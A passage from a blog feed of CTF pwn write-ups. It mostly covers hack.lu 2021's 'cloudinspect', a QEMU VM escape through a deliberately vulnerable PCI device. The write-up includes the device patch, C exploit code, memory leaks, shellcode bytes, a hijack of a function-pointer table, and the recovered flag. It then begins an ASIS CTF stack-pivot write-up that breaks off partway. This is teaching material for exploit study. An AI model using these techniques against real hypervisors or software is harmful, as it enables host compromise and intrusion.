+    // CloudInspectState *cloudinspect = CLOUDINSPECT(obj);
+}
+
+static void cloudinspect_class_init(ObjectClass *class, void *data)
+{
+    DeviceClass *dc = DEVICE_CLASS(class);
+    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
+
+    k-&amp;gt;realize = pci_cloudinspect_realize;
+    k-&amp;gt;exit = pci_cloudinspect_uninit;
+    k-&amp;gt;vendor_id = CLOUDINSPECT_VENDORID;
+    k-&amp;gt;device_id = CLOUDINSPECT_DEVICEID;
+    k-&amp;gt;revision = CLOUDINSPECT_REVISION;
+    k-&amp;gt;class_id = PCI_CLASS_OTHERS;
+    set_bit(DEVICE_CATEGORY_MISC, dc-&amp;gt;categories);
+}
+
+static void pci_cloudinspect_register_types(void)
+{
+    static InterfaceInfo interfaces[] = {
+        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
+        { },
+    };
+    static const TypeInfo cloudinspect_info = {
+        .name          = TYPE_PCI_CLOUDINSPECT_DEVICE,
+        .parent        = TYPE_PCI_DEVICE,
+        .instance_size = sizeof(CloudInspectState),
+        .instance_init = cloudinspect_instance_init,
+        .class_init    = cloudinspect_class_init,
+        .interfaces = interfaces,
+    };
+
+    type_register_static(&amp;amp;cloudinspect_info);
+}
+type_init(pci_cloudinspect_register_types)
diff --git a/hw/misc/meson.build b/hw/misc/meson.build
index 1cd48e8a0f..5ff263ca2f 100644
--- a/hw/misc/meson.build
+++ b/hw/misc/meson.build
@@ -1,5 +1,6 @@
 softmmu_ss.add(when: &apos;CONFIG_APPLESMC&apos;, if_true: files(&apos;applesmc.c&apos;))
 softmmu_ss.add(when: &apos;CONFIG_EDU&apos;, if_true: files(&apos;edu.c&apos;))
+softmmu_ss.add(files(&apos;cloudinspect.c&apos;))
 softmmu_ss.add(when: &apos;CONFIG_FW_CFG_DMA&apos;, if_true: files(&apos;vmcoreinfo.c&apos;))
 softmmu_ss.add(when: &apos;CONFIG_ISA_DEBUG&apos;, if_true: files(&apos;debugexit.c&apos;))
 softmmu_ss.add(when: &apos;CONFIG_ISA_TESTDEV&apos;, if_true: files(&apos;pc-testdev.c&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing I did when I saw this was to check out how &lt;code&gt;memory_region_init_io&lt;/code&gt; and &lt;code&gt;pci_register_bar&lt;/code&gt; functions work. It sounds a bit like like a kernel device which registers a few handlers for basic operations like read / write / ioctl. Very quickly I found two write up from dangokyo &lt;a href=&quot;https://dangokyo.me/2018/03/28/qemu-internal-pci-device/&quot;&gt;this one&lt;/a&gt;  and &lt;a href=&quot;https://dangokyo.me/2018/03/25/hitb-xctf-2017-babyqemu-write-up/&quot;&gt;this other one&lt;/a&gt;, I recommend you to check it out, they are pretty interesting and well written.&lt;/p&gt;
&lt;p&gt;PCI stands for Peripheral Component Interconnect, that&apos;s a standard that describes the interactions between the cpu and the other physical devices. The PCI device handles the interactions between the system and the physical device. To do so,  the PCI handler is providing a physical address space to the kernel, reachable through the kernel abstractions from a particular virtual address space. This address can be used to cache some data, but that&apos;s mainly used to request a particular behavior from the kernel to the physical devices. These requests are written at a well defined offset in the PCI address space, that are the I/O registers. And in the same way, the devices are waiting for some values at these locations to trigger a particular behavior. Check out &lt;a href=&quot;https://tldp.org/LDP/tlk/dd/pci.html&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://www.kernel.org/doc/html/latest/PCI/pci.html#mmio-space-and-write-posting&quot;&gt;this&lt;/a&gt; to learn more about PCI devices!&lt;/p&gt;
&lt;p&gt;Now we know a bit more about PCI devices, we can see that the patched code is a PCI interface between the linux guest operating system and .. &lt;em&gt;nothing&lt;/em&gt;. That&apos;s just a vulnerable PCI device which allows us to read and write four I/O registers (&lt;code&gt;CNT&lt;/code&gt;, &lt;code&gt;SRC&lt;/code&gt;, &lt;code&gt;CMD&lt;/code&gt; and &lt;code&gt;DST&lt;/code&gt;). According to these registers, we can read and write at an arbitrary location. There is a check about the size we&apos;re requesting for read / write operations at a particular offset from the &lt;code&gt;dmabuf&lt;/code&gt; base address, but since we control the offset it does not matter.&lt;/p&gt;
&lt;p&gt;To write these registers from userland, we need to &lt;code&gt;mmap&lt;/code&gt; the right &lt;code&gt;resource&lt;/code&gt; file corresponding to the PCI device. Then we just have to read or write the mapped file at an offset corresponding to the the register we want to read / write. Furthermore, the arbitrary read / write primitives provided by the device need to read to / from a memory area from its physical address the data we want to read / write.&lt;/p&gt;
&lt;p&gt;The resource file can be found by getting a shell on the machine to take a look at the output of the &lt;code&gt;lspci&lt;/code&gt; command.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/ # lspci -v
00:01.0 Class 0601: 8086:7000
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:01.1 Class 0101: 8086:7010
00:02.0 Class 00ff: 1337:1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output of the command is structured like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Field 1 : 00:02.0 : bus number (00), device number (02) and function (0)
Field 2 : 00ff    : device class
Field 3 : 1337    : vendor ID
Field 4 : 1337    : device ID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;According to the source code of the PCI device, the vendor ID and the device ID are &lt;code&gt;0x1337&lt;/code&gt;, the resource file corresponding to the device is so &lt;code&gt;/sys/devices/pci0000:00/0000:00:02.0/resource0&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Device interactions&lt;/h2&gt;
&lt;p&gt;What we need to interact with the device is to get the physical address of a memory area we control, which would act like a shared buffer between our program and the PCI device. To do so we can &lt;code&gt;mmap&lt;/code&gt; a few pages, &lt;code&gt;malloc&lt;/code&gt; a buffer or just allocate onto the function&apos;s stackframe a large buffer. Given that I was following the thedangokyo&apos;s write up, I just retrieved a few functions he was using and especially for the shared buffer.&lt;/p&gt;
&lt;p&gt;The function used to get the physical address corresponding to an arbitrary pointer is based on the &lt;code&gt;/proc/self/pagemap&lt;/code&gt; pseudo-file, for which you can read the format &lt;a href=&quot;https://www.kernel.org/doc/Documentation/vm/pagemap.txt&quot;&gt;here&lt;/a&gt;. The virt2phys function looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint64_t virt2phys(void* p)
{
		uint64_t virt = (uint64_t)p;
		assert((virt &amp;amp; 0xfff) == 0);
		int fd = open(&quot;/proc/self/pagemap&quot;, O_RDONLY);
		if (fd == -1)
				perror(&quot;open&quot;);
		uint64_t offset = (virt / 0x1000) * 8;
		// the pagemap associates each mapped page of the virtual address space 
		// with its PTE entry, the entry corresponding to the page is at address / PAGE_SZ
		// and because that&apos;s an array of 64 bits entry, to access the right entry, the
		// offset is multiplied per 8. 
		lseek(fd, offset, SEEK_SET);
		uint64_t phys;
		if (read(fd, &amp;amp;phys, 8 ) != 8)
				perror(&quot;read&quot;);
		assert(phys &amp;amp; (1ULL &amp;lt;&amp;lt; 63));
		// asserts the bit IS_PRESENT is set
		phys = (phys &amp;amp; ((1ULL &amp;lt;&amp;lt; 54) - 1)) * 0x1000;
		// flips out the status bits, and shifts the physical frame address to 64 bits
		return phys;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To interact with the device we can write the code right bellow:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;inttypes.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;

unsigned char* iomem;
unsigned char* dmabuf;
uint64_t dmabuf_phys_addr;
int fd;

#define PATH &quot;/sys/devices/pci0000:00/0000:00:02.0/resource0&quot;

void iowrite(uint64_t addr, uint64_t value)
{
		*((uint64_t*)(iomem + addr)) = value;
}

uint64_t ioread(uint64_t addr)
{
		return *((uint64_t*)(iomem + addr));
}

uint64_t write_dmabuf(uint64_t offt, uint64_t value) {
		*(uint64_t* )dmabuf = value;
		iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, offt);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, 8);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, dmabuf_phys_addr);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_TRIGGER, 0x300);
		return 0;
}

uint64_t read_offt(uint64_t offt) {
		iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, offt);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, 8);
		iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, dmabuf_phys_addr);
		ioread(CLOUDINSPECT_MMIO_OFFSET_TRIGGER);
		return *(uint64_t* )dmabuf;
}

int main() {
		int fd1 = open(PATH, O_RDWR | O_SYNC);
		if (-1 == fd1) {
				fprintf(stderr, &quot;Cannot open %s\n&quot;, PATH);
				return -1;
		} // open resource0 to interact with the device
		
		iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd1, 0); // map resource0
		printf(&quot;iomem @ %p\n&quot;, iomem);
		
		fd = open(&quot;/proc/self/pagemap&quot;, O_RDONLY);
		if (fd &amp;lt; 0) {
				perror(&quot;open&quot;);
				exit(1);
		}

		dmabuf = malloc(0x1000);
		memset(dmabuf, &apos;\x00&apos;, sizeof(dmabuf));
		if (MAP_FAILED == iomem) {
				return -1;
		}

		mlock(dmabuf, 0x1000); // trigger PAGE_FAULT to acually map the page
		dmabuf_phys_addr = virt2phys(dmabuf); // grab physical address according to pagemap
		printf(&quot;DMA buffer (virt) @ %p\n&quot;, dmabuf);
		printf(&quot;DMA buffer (phys) @ %p\n&quot;, (void*)dmabuf_phys_addr);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can interact with the device we got two primitive of arbitrary read / write. The &lt;code&gt;read_offt&lt;/code&gt; and &lt;code&gt;write_dmabuf&lt;/code&gt; functions permit us to read / write a 8 bytes to an arbitrary offset from the &lt;code&gt;dmabuf&lt;/code&gt; object address.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;I did a lot of things which didn&apos;t worked, so let&apos;s summarize all my thoughts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we leak the object&apos;s address, we can write at any location for which we know the base address, for example overwrite GOT pointers (but it will not succeed because of RELRO).&lt;/li&gt;
&lt;li&gt;If we take a look at all the memory areas mapped in the qemu process we can see very large memory area in rwx, which means if we can leak its address and if we can redirect RIP, we just have to write and jmp on a shellcode written in this area.&lt;/li&gt;
&lt;li&gt;To achieve the leaks, given that the CloudInspectState structure is allocated on the heap, and that we can read / write at an arbitrary offset from the object&apos;s address we can:
&lt;ul&gt;
&lt;li&gt;Scan heap memory for pointers to the qemu binary to leak the base address of the binary.&lt;/li&gt;
&lt;li&gt;Scan heap memory  for pointers to the heap itself (next, prev pointers for freed objects for example), and then compute the object&apos;s address.&lt;/li&gt;
&lt;li&gt;Scan heap memory to leak the rwx memory area&lt;/li&gt;
&lt;li&gt;Scan all the memory area we can read to find a leak of the rwx memory area.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;To redirect RIP I thought to:
&lt;ul&gt;
&lt;li&gt;Overwrite the &lt;code&gt;destructor&lt;/code&gt; function pointer in the &lt;code&gt;MemoryRegion&lt;/code&gt; structure.&lt;/li&gt;
&lt;li&gt;Write in a writable area a fake &lt;code&gt;MemoryRegionOps&lt;/code&gt; structure  for which a certain handler points to our shellcode and make &lt;code&gt;CloudInspectState.mmio.ops&lt;/code&gt; point to it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to the environment, scan the heap memory is not reliable at all. I succeed to leak the rwx memory area, the binary base address, the heap base address from some contiguous objects in the heap. To redirect RIP, for some reason, the &lt;code&gt;destructor&lt;/code&gt; is never called, so we have to craft a fake &lt;code&gt;MemoryRegionOps&lt;/code&gt; structure. And that&apos;s how I read the flag on the disk. But the issue is that remotely, the offset between the heap base and the object is not the same, furthermore, the offset for the rwx memory leak is I guess different as well. So we have to find a different way to leak the object and the rwx memory area.&lt;/p&gt;
&lt;h3&gt;Leak some memory areas&lt;/h3&gt;
&lt;p&gt;To see where we can find pointers to the rwx memory area, we can make use of the &lt;code&gt;search&lt;/code&gt; command in &lt;code&gt;pwndbg&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; vmmap                                                                                                                                                                              
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA                                                                                                                                            
    0x559a884e1000     0x559a88791000 r--p   2b0000 0      /home/nasm/r2s/ctf/2021/hack.lu/pwn/cloudinspect/qemu-system-x86_64                                                                 
    0x559a88791000     0x559a88c5d000 r-xp   4cc000 2b0000 /home/nasm/r2s/ctf/2021/hack.lu/pwn/cloudinspect/qemu-system-x86_64                                                                 
    0x559a88c5d000     0x559a890ff000 r--p   4a2000 77c000 /home/nasm/r2s/ctf/2021/hack.lu/pwn/cloudinspect/qemu-system-x86_64                                                                 
    0x559a89100000     0x559a89262000 r--p   162000 c1e000 /home/nasm/r2s/ctf/2021/hack.lu/pwn/cloudinspect/qemu-system-x86_64                                                                 
    0x559a89262000     0x559a89353000 rw-p    f1000 d80000 /home/nasm/r2s/ctf/2021/hack.lu/pwn/cloudinspect/qemu-system-x86_64                                                                 
    0x559a89353000     0x559a89377000 rw-p    24000 0      [anon_559a89353]                                                                                                                    
    0x559a8a059000     0x559a8b0e7000 rw-p  108e000 0      [heap]                                                                                                                              
    0x7fc5f4000000     0x7fc5f4a37000 rw-p   a37000 0      [anon_7fc5f4000]                                                                                                              
    0x7fc5f4a37000     0x7fc5f8000000 ---p  35c9000 0      [anon_7fc5f4a37]                                                                                                                    
    0x7fc5fbe00000     0x7fc603e00000 rw-p  8000000 0      [anon_7fc5fbe00]                                                                                                                    
    0x7fc603e00000     0x7fc603e01000 ---p     1000 0      [anon_7fc603e00]                                                                                                                    
    0x7fc604000000     0x7fc643fff000 rwxp 3ffff000 0      [anon_7fc604000]                                                                                                                  
    [SKIP]
pwndbg&amp;gt; search -4 0x7fc60400 -w                                                                                                                                                                
[anon_559a89353] 0x559a89359002 0x7fc60400                                                                                                                                                     
[anon_559a89353] 0x559a8935904a 0x7fc60400                                                                                                                                                     
[anon_559a89353] 0x559a89359052 0x1600007fc60400                                                                                                                                               
[anon_559a89353] 0x559a8935905a 0x2d00007fc60400                                                                                                                                               
[anon_559a89353] 0x559a89359062 0xffd300007fc60400                                                                                                                                             
[anon_559a89353] 0x559a89359072 0x7fc60400                                                                                                                                                     
[anon_559a89353] 0x559a89372b2a 0x10100007fc60400                                                                                                                                              
[anon_559a89353] 0x559a89372bb2 0x100000007fc60400                                                                                                                                             
[anon_559a89353] 0x559a89372bba 0xf00000007fc60400                                                                                                                                             
[heap]          0x559a8a2dccf2 0x2d00007fc60400                                                                                                                                                
[heap]          0x559a8a2dccfa 0x7fc60400                                                                                                                                                      
[heap]          0x559a8a2dcd6a 0x7fc60400                                                                                                                                                      
[heap]          0x559a8a2dcefa 0xffd300007fc60400                                                                                                                                              
[heap]          0x559a8a2dcf18 0x7fc60400                                                                                                                                                      
[SKIP]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given that we don&apos;t want to get the leak from heap because of the unreliability we can see that there are available leaks in a writable area of the binary in &lt;code&gt;anon_559a89353&lt;/code&gt;, indeed the page address looks like a PIE based binary address or an heap address (but the address is not marked heap), and if we look more carefully, the page is contiguous to the last file mapped memory area. Now we can leak the rwx memory area, lets&apos; find a way to leak object&apos;s address! I asked on the hack.lu discord a hint for this leak because didn&apos;t have any idea. And finally it&apos;s quite easy, we can just leak the &lt;code&gt;opaque&lt;/code&gt; pointer in the &lt;code&gt;MemoryRegion&lt;/code&gt; structure which points to the object&apos;s address.&lt;/p&gt;
&lt;p&gt;If I summarize we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A reliable leak of:
&lt;ul&gt;
&lt;li&gt;the object&apos;s address with the &lt;code&gt;opaque&lt;/code&gt; pointer&lt;/li&gt;
&lt;li&gt;the binary base address (from the heap)&lt;/li&gt;
&lt;li&gt;the rwx memory area (writable memory area that belongs to the binary).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then we can write this code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// offset I got in gdb locally
uint64_t base = read_offt(0x10c0 + 8*3) - 0xdef90; // heap leak
uint64_t bss = base + 0xbc2000; // points to the anonnymous memory area right after the binary
uint64_t heap_base = read_offt(0x1000 + 8*3) - 0xf3bff0; // useless
uint64_t ops_struct = read_offt(-0xd0); // That&apos;s &amp;amp;ClouInspctState.mmio.ops
uint64_t addr_obj = read_offt(-(0xd0-8)) + 2568; // CloudInspectState.mmio.opaque
uint64_t leak_rwx = read_offt((bss + 0x6000) - addr_obj) &amp;amp; ~0xffff; // leak in the bss

printf(&quot;[*] ops_struct: %lx\n&quot;, ops_struct);
printf(&quot;[*] Binary base address: %lx\n&quot;, base);
printf(&quot;[*] Heap base address: %lx\n&quot;, heap_base);
printf(&quot;[*] Leak rwx: %lx\n&quot;, leak_rwx);
printf(&quot;[*] Addr obj: %lx\n&quot;, addr_obj);

/*
[*] ops_struct: 559a89173f20
[*] Binary base address: 559a88791000
[*] Heap base address: 559a8a0561d0
[*] Leak rwx: 7fc604000000
[*] Addr obj: 559a8af92f88
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Write the shellcode&lt;/h3&gt;
&lt;p&gt;I choose to write a shellcode to read the flag at &lt;code&gt;leak_rwx + 0x5000&lt;/code&gt;, a known location we can easily read and print from the program. The shellcode is very simple:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov rax, 2 ; SYS_open
push 0x67616c66 ; flag in little endian
mov rdi, rsp ; pointer flag string
mov rsi, 0 ; O_READ
mov rdx, 0x1fd ; mode ?
syscall
mov rdi, rax ; fd
xor rax, rax ; SYS_read
lea rsi, [rip] ; pointer to the rwx memory area (cause we&apos;re executing code within)
and rsi, 0xffffffffff000000 ; compute the base address
add rsi, 0x5000 ; add the right offset
mov rdx, 0x30 ; length of the flag to read
syscall
add rsp, 8; we pushed the flag str so we destroy it
ret ; return to continue the execution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To write the shellcode at &lt;code&gt;leak_rwx + 0x1000&lt;/code&gt;, we can directly trigger a large write primitive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define CODE &quot;\x48\xc7\xc0\x02\x00\x00\x00\x68\x66\x6c\x61\x67\x48\x89\xe7\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\xfd\x01\x00\x00\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x8d\x35\x00\x00\x00\x00\x48\x81\xe6\x00\x00\x00\xff\x48\x81\xc6\x00\x50\x00\x00\x48\xc7\xc2\x30\x00\x00\x00\x0f\x05\x48\x83\xc4\x08\xc3&quot;

memcpy(dmabuf, CODE, 130);

printf(&quot;[*] Writing the shellcode @ %lx\n&quot;, leak_rwx + 0x1000);
iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, leak_rwx - addr_obj + 0x1000);
iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, 130);
iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, dmabuf_phys_addr);
iowrite(CLOUDINSPECT_MMIO_OFFSET_TRIGGER, 0x300);
/*
[*] Writing the shellcode @ 7fc604001000
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Craft fake MemoryRegionOps structure&lt;/h3&gt;
&lt;p&gt;To cratf a fake &lt;code&gt;MemoryRegionOps&lt;/code&gt;, I just read the original &lt;code&gt;MemoryRegionOps&lt;/code&gt; structure, I edited the &lt;code&gt;read&lt;/code&gt; handler, and I wrote it back, in a writable memory area, at &lt;code&gt;leak_rwx+0x2000&lt;/code&gt;. Given that &lt;code&gt;sizeof(MemoryRegionOps)&lt;/code&gt; is not superior to &lt;code&gt;DMA_SIZE&lt;/code&gt;, I can read and write in one time. Then we got:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Craft fake MemoryRegionOps structure by reading the original one

struct MemoryRegionOps fake_ops = {0};
printf(&quot;[*] reading struct mmio.MemoryRegionOps @ %lx\n&quot;, ops_struct);

iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, -(addr_obj - ops_struct));
iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, sizeof(struct MemoryRegionOps));
iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, dmabuf_phys_addr);
ioread(CLOUDINSPECT_MMIO_OFFSET_TRIGGER);

// Write it in the fake struct
memcpy(&amp;amp;fake_ops, dmabuf, sizeof(struct MemoryRegionOps));
fake_ops.read = (leak_rwx + 0x1000); 
// Edit the handler we want to hook to make it point to the shellcode at leak_rwx + 0x1000

printf(&quot;[*] fake_ops.read = %lx\n&quot;, leak_rwx + 0x1000);
memcpy(dmabuf, &amp;amp;fake_ops, sizeof(struct MemoryRegionOps));

// patch it and write it @ leak_rwx + 0x2000
iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, leak_rwx - addr_obj + 0x2000);
iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, sizeof(struct MemoryRegionOps));
iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, dmabuf_phys_addr);
iowrite(CLOUDINSPECT_MMIO_OFFSET_TRIGGER, 0x300);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hook mmio.ops + PROFIT&lt;/h3&gt;
&lt;p&gt;We just have to replace the original &lt;code&gt;CoudInspect.mmio.ops&lt;/code&gt; pointer to a pointer to the &lt;code&gt;fake_ops&lt;/code&gt; structure.
Then, next time we send a read request, the shellcode will be executed! And we will just need to retablish the original &lt;code&gt;CoudInspect.mmio.ops&lt;/code&gt; pointer to read the flag at &lt;code&gt;leak_rwx+0x5000&lt;/code&gt;! Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;write_dmabuf(-0xd0, leak_rwx+0x2000);
// Set the pointer to the MemoryRegionOps to the fake MemoryRegionOps	

ioread(0x37); // trigger the read handler we control, then the shellcode is 
// executed and the flag is written @ leak_rwx + 0x5000[enter link description here](cloudinspect)

printf(&quot;[*] CloudInspectState.mmio.ops.read () =&amp;gt; jmp @ %lx\n&quot;, leak_rwx + 0x1000);

char flag[0x30] = {0};
// So we just have to read the flag @ leak_rwx + 0x5000

write_dmabuf(-0xd0, ops_struct);
printf(&quot;[*] CloudInspectState.mmio.ops = original ops\n&quot;);
printf(&quot;[*] Reading the flag @ %lx\n&quot;, leak_rwx + 0x5000);
iowrite(CLOUDINSPECT_MMIO_OFFSET_CMD, CLOUDINSPECT_DMA_PUT_VALUE);
iowrite(CLOUDINSPECT_MMIO_OFFSET_SRC, leak_rwx - addr_obj + 0x5000);
iowrite(CLOUDINSPECT_MMIO_OFFSET_CNT, 0x30);
iowrite(CLOUDINSPECT_MMIO_OFFSET_DST, dmabuf_phys_addr);
if (!ioread(CLOUDINSPECT_MMIO_OFFSET_TRIGGER)) {
		perror(&quot;Failed to read the flag\n&quot;);
		return -1;
}

memcpy(flag, dmabuf, 0x30);
printf(&quot;flag: %s\n&quot;, flag);


// adresses are different because here is another execution on the remote challenge
/*
b&apos;[*] CloudInspectState.mmio.ops.read () =&amp;gt; jmp @ 7fe3dc001000\r\r\n&apos;
b&apos;[*] CloudInspectState.mmio.ops = original ops\r\r\n&apos;
b&apos;[*] Reading the flag @ 7fe3dc005000\r\r\n&apos;
b&apos;flag: flag{cloudinspect_inspects_your_cloud_0107}\r\r\n&apos;

flag: flag{cloudinspect_inspects_your_cloud_0107}
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thanks for the organizers for this awesome event! The other pwn challenges look like very interesting as well!
You can the final exploit &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2021/hack.lu/pwn/cloudinspect/remote.c&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tldp.org/LDP/tlk/dd/pci.html&quot;&gt;Interesting article about PCI devices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kernel.org/doc/Documentation/filesystems/sysfs-pci.txt&quot;&gt;Linux kernel PCI documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kernel.org/doc/Documentation/vm/pagemap.txt&quot;&gt;Linux kernel pagemap documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>[ASIS CTF QUALS 2021 - pwn] abbr &amp; justpwnit</title><link>https://n4sm.github.io/posts/pwnasis/</link><guid isPermaLink="true">https://n4sm.github.io/posts/pwnasis/</guid><pubDate>Sun, 24 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hello folks ! Here is a write up for the two first pwn challenges of the ASIS CTF.
You can find the related files &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2021/asisctf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;justpwnit&lt;/h1&gt;
&lt;p&gt;justpwnit was a warmup pwn challenge. That&apos;s only a basic stack overflow.
The binary is statically linked and here is the checksec&apos;s output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] &apos;/home/nasm/justpwnit&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Morever the source code is provided as it is the case for all the pwn tasks !
Here it is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * musl-gcc main.c -o chall -no-pie -fno-stack-protector -O0 -static
 */
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define STR_SIZE 0x80

void set_element(char **parray) {
  int index;
  printf(&quot;Index: &quot;);
  if (scanf(&quot;%d%*c&quot;, &amp;amp;index) != 1)
    exit(1);
  if (!(parray[index] = (char*)calloc(sizeof(char), STR_SIZE)))
    exit(1);
  printf(&quot;Data: &quot;);
  if (!fgets(parray[index], STR_SIZE, stdin))
    exit(1);
}

void justpwnit() {
  char *array[4];
  for (int i = 0; i &amp;lt; 4; i++) {
    set_element(array);
  }
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(180);
  justpwnit();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The program is basically reading &lt;code&gt;STR_SIZE&lt;/code&gt; bytes into &lt;code&gt;parray[index]&lt;/code&gt;, the issue is that there is no check on the user controlled index from which we choose were write the input.
Furthermore, &lt;code&gt;index&lt;/code&gt; is a signed integer, which means we can input a negative value. If we do so we will be able to overwrite the saved &lt;code&gt;$rbp&lt;/code&gt; value of the &lt;code&gt;set_element&lt;/code&gt; stackframe by a heap pointer to our input. By this way at the end of the pwninit, the &lt;code&gt;leave&lt;/code&gt; instruction will pivot the stack from the original state to a pointer to the user input.&lt;/p&gt;
&lt;p&gt;Let&apos;s see this in gdb !&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         
01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      
02:0010│         0x7ffef03864f0 ◂— 0x0
03:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* &apos;?=@&apos; */
04:0020│         0x7ffef0386500 ◂— 0x0
05:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64 
06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1
07:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 1
08:0040│ rax     0x7ffef0386520 ◂— 0xb4
09:0048│         0x7ffef0386528 ◂— 0x0
... ↓            4 skipped
0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1
0f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the stack&apos;s state when we are calling calloc. We can see the &lt;code&gt;set_element&lt;/code&gt;&apos;s stackframe which ends up in &lt;code&gt;$rsp+38&lt;/code&gt; with the saved return address. And right after we see that &lt;code&gt;$rax&lt;/code&gt; contains the address of the &lt;code&gt;parray&lt;/code&gt; buffer. Which means that if we send -2 as index, &lt;code&gt;$rbp&lt;/code&gt; will point to the newly allocated buffer to which we will write right after with &lt;code&gt;fgets&lt;/code&gt;.&lt;/p&gt;
